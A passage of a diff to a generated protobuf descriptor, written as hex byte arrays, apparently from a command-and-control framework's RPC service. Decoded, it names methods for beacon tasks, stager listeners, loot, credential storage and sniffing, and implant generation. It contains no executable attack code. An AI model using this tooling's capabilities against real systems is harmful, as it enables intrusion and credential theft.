0x54, 0x61, 0x73, 0x6b, 0x73, 0x12, 0x42, 0x0a, 0x14, + 0x47, 0x65, 0x74, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x43, 0x6f, 0x6e, + 0x74, 0x65, 0x6e, 0x74, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, + 0x12, 0x3e, 0x0a, 0x10, 0x43, 0x61, 0x6e, 0x63, 0x65, 0x6c, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, + 0x54, 0x61, 0x73, 0x6b, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, + 0x12, 0x2a, 0x0a, 0x07, 0x47, 0x65, 0x74, 0x4a, 0x6f, 0x62, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, + 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x0e, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4a, 0x6f, 0x62, 0x73, 0x12, 0x32, 0x0a, 0x07, + 0x4b, 0x69, 0x6c, 0x6c, 0x4a, 0x6f, 0x62, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x4b, 0x69, 0x6c, 0x6c, 0x4a, 0x6f, 0x62, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4b, 0x69, 0x6c, 0x6c, 0x4a, 0x6f, 0x62, + 0x12, 0x37, 0x0a, 0x0b, 0x52, 0x65, 0x73, 0x74, 0x61, 0x72, 0x74, 0x4a, 0x6f, 0x62, 0x73, 0x12, + 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x74, 0x61, + 0x72, 0x74, 0x4a, 0x6f, 0x62, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, + 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x4f, 0x0a, 0x16, 0x53, 0x74, 0x61, + 0x72, 0x74, 0x54, 0x43, 0x50, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, + 0x6e, 0x65, 0x72, 0x12, 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, + 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, + 0x1a, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x67, + 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x29, 0x0a, 0x07, 0x4c, 0x6f, + 0x6f, 0x74, 0x41, 0x64, 0x64, 0x12, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x1a, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x2d, 0x0a, 0x0b, 0x4c, 0x6f, 0x6f, 0x74, 0x43, 0x6f, 0x6e, - 0x74, 0x65, 0x6e, 0x74, 0x12, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x4c, 0x6f, 0x6f, 0x74, 0x1a, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x2d, 0x0a, 0x07, 0x4c, 0x6f, 0x6f, 0x74, 0x41, 0x6c, 0x6c, 0x12, + 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x29, 0x0a, 0x06, 0x4c, 0x6f, 0x6f, 0x74, 0x52, 0x6d, 0x12, + 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, - 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x41, 0x6c, 0x6c, 0x4c, - 0x6f, 0x6f, 0x74, 0x12, 0x2f, 0x0a, 0x05, 0x43, 0x72, 0x65, 0x64, 0x73, 0x12, 0x0f, 0x2e, 0x63, - 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x15, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, - 0x69, 0x61, 0x6c, 0x73, 0x12, 0x32, 0x0a, 0x08, 0x43, 0x72, 0x65, 0x64, 0x73, 0x41, 0x64, 0x64, - 0x12, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, - 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, - 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x31, 0x0a, 0x07, 0x43, 0x72, 0x65, 0x64, - 0x73, 0x52, 0x6d, 0x12, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, + 0x12, 0x2c, 0x0a, 0x0a, 0x4c, 0x6f, 0x6f, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x0e, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x1a, 0x0e, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x2d, + 0x0a, 0x0b, 0x4c, 0x6f, 0x6f, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x0e, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x1a, 0x0e, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x2d, 0x0a, + 0x07, 0x4c, 0x6f, 0x6f, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, + 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x41, 0x6c, 0x6c, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x2f, 0x0a, 0x05, + 0x43, 0x72, 0x65, 0x64, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x12, 0x32, 0x0a, + 0x08, 0x43, 0x72, 0x65, 0x64, 0x73, 0x41, 0x64, 0x64, 0x12, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, + 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, + 0x79, 0x12, 0x31, 0x0a, 0x07, 0x43, 0x72, 0x65, 0x64, 0x73, 0x52, 0x6d, 0x12, 0x15, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, + 0x61, 0x6c, 0x73, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, + 0x6d, 0x70, 0x74, 0x79, 0x12, 0x35, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x64, 0x73, 0x55, 0x70, 0x64, + 0x61, 0x74, 0x65, 0x12, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, - 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x35, 0x0a, 0x0b, 0x43, - 0x72, 0x65, 0x64, 0x73, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x15, 0x2e, 0x63, 0x6c, 0x69, + 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x39, 0x0a, 0x0b, 0x47, + 0x65, 0x74, 0x43, 0x72, 0x65, 0x64, 0x42, 0x79, 0x49, 0x44, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, - 0x73, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, - 0x74, 0x79, 0x12, 0x39, 0x0a, 0x0b, 0x47, 0x65, 0x74, 0x43, 0x72, 0x65, 0x64, 0x42, 0x79, 0x49, - 0x44, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, - 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x12, 0x41, 0x0a, - 0x12, 0x47, 0x65, 0x74, 0x43, 0x72, 0x65, 0x64, 0x73, 0x42, 0x79, 0x48, 0x61, 0x73, 0x68, 0x54, - 0x79, 0x70, 0x65, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, - 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, - 0x12, 0x4a, 0x0a, 0x1b, 0x47, 0x65, 0x74, 0x50, 0x6c, 0x61, 0x69, 0x6e, 0x74, 0x65, 0x78, 0x74, - 0x43, 0x72, 0x65, 0x64, 0x73, 0x42, 0x79, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, - 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, - 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x12, 0x40, 0x0a, 0x12, - 0x43, 0x72, 0x65, 0x64, 0x73, 0x53, 0x6e, 0x69, 0x66, 0x66, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, - 0x70, 0x65, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, - 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x12, 0x2c, - 0x0a, 0x05, 0x48, 0x6f, 0x73, 0x74, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, - 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x41, 0x6c, 0x6c, 0x48, 0x6f, 0x73, 0x74, 0x73, 0x12, 0x26, 0x0a, 0x04, - 0x48, 0x6f, 0x73, 0x74, 0x12, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x48, 0x6f, 0x73, 0x74, 0x1a, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x48, 0x6f, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x06, 0x48, 0x6f, 0x73, 0x74, 0x52, 0x6d, 0x12, 0x0e, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x1a, 0x0f, + 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, + 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x12, 0x41, 0x0a, 0x12, 0x47, 0x65, 0x74, 0x43, 0x72, 0x65, + 0x64, 0x73, 0x42, 0x79, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x14, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, + 0x61, 0x6c, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, + 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x12, 0x4a, 0x0a, 0x1b, 0x47, 0x65, 0x74, + 0x50, 0x6c, 0x61, 0x69, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x43, 0x72, 0x65, 0x64, 0x73, 0x42, 0x79, + 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x1a, 0x15, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, + 0x74, 0x69, 0x61, 0x6c, 0x73, 0x12, 0x40, 0x0a, 0x12, 0x43, 0x72, 0x65, 0x64, 0x73, 0x53, 0x6e, + 0x69, 0x66, 0x66, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x14, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, + 0x6c, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, + 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x12, 0x2c, 0x0a, 0x05, 0x48, 0x6f, 0x73, 0x74, 0x73, + 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, + 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x41, 0x6c, 0x6c, + 0x48, 0x6f, 0x73, 0x74, 0x73, 0x12, 0x26, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x0e, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x1a, 0x0e, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x29, 0x0a, + 0x06, 0x48, 0x6f, 0x73, 0x74, 0x52, 0x6d, 0x12, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, + 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x2b, 0x0a, 0x09, 0x48, 0x6f, 0x73, 0x74, + 0x49, 0x4f, 0x43, 0x52, 0x6d, 0x12, 0x0d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x49, 0x4f, 0x43, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, + 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x35, 0x0a, 0x08, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, + 0x65, 0x12, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x6e, + 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x12, 0x52, 0x0a, 0x10, + 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, + 0x12, 0x1d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, + 0x72, 0x6e, 0x61, 0x6c, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, + 0x1f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x72, + 0x6e, 0x61, 0x6c, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, + 0x12, 0x4d, 0x0a, 0x19, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x45, 0x78, 0x74, 0x65, + 0x72, 0x6e, 0x61, 0x6c, 0x53, 0x61, 0x76, 0x65, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x12, 0x1f, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, + 0x6c, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x69, 0x6e, 0x61, 0x72, 0x79, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, - 0x2b, 0x0a, 0x09, 0x48, 0x6f, 0x73, 0x74, 0x49, 0x4f, 0x43, 0x52, 0x6d, 0x12, 0x0d, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x4f, 0x43, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, - 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x35, 0x0a, 0x08, - 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x12, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, - 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x6e, 0x65, 0x72, - 0x61, 0x74, 0x65, 0x12, 0x52, 0x0a, 0x10, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x45, - 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x12, 0x1d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x47, 0x65, 0x6e, 0x65, 0x72, - 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x1f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, - 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x4d, 0x0a, 0x19, 0x47, 0x65, 0x6e, 0x65, 0x72, - 0x61, 0x74, 0x65, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x53, 0x61, 0x76, 0x65, 0x42, - 0x75, 0x69, 0x6c, 0x64, 0x12, 0x1f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, - 0x69, 0x6e, 0x61, 0x72, 0x79, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, - 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x59, 0x0a, 0x1e, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, - 0x74, 0x65, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x47, 0x65, 0x74, 0x42, 0x75, 0x69, - 0x6c, 0x64, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, - 0x1a, 0x1f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, - 0x72, 0x6e, 0x61, 0x6c, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, - 0x67, 0x12, 0x3f, 0x0a, 0x0d, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x53, 0x74, 0x61, - 0x67, 0x65, 0x12, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x47, 0x65, - 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x53, 0x74, 0x61, 0x67, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x12, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, - 0x74, 0x65, 0x12, 0x3f, 0x0a, 0x11, 0x53, 0x74, 0x61, 0x67, 0x65, 0x49, 0x6d, 0x70, 0x6c, 0x61, - 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x12, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x53, 0x74, 0x61, 0x67, 0x65, 0x52, - 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, - 0x70, 0x74, 0x79, 0x12, 0x3d, 0x0a, 0x11, 0x47, 0x65, 0x74, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, - 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, - 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, - 0x67, 0x73, 0x12, 0x48, 0x0a, 0x16, 0x47, 0x65, 0x74, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x50, - 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x16, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x32, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, - 0x65, 0x52, 0x65, 0x71, 0x1a, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x3f, 0x0a, 0x11, - 0x53, 0x61, 0x76, 0x65, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, - 0x65, 0x12, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, - 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, - 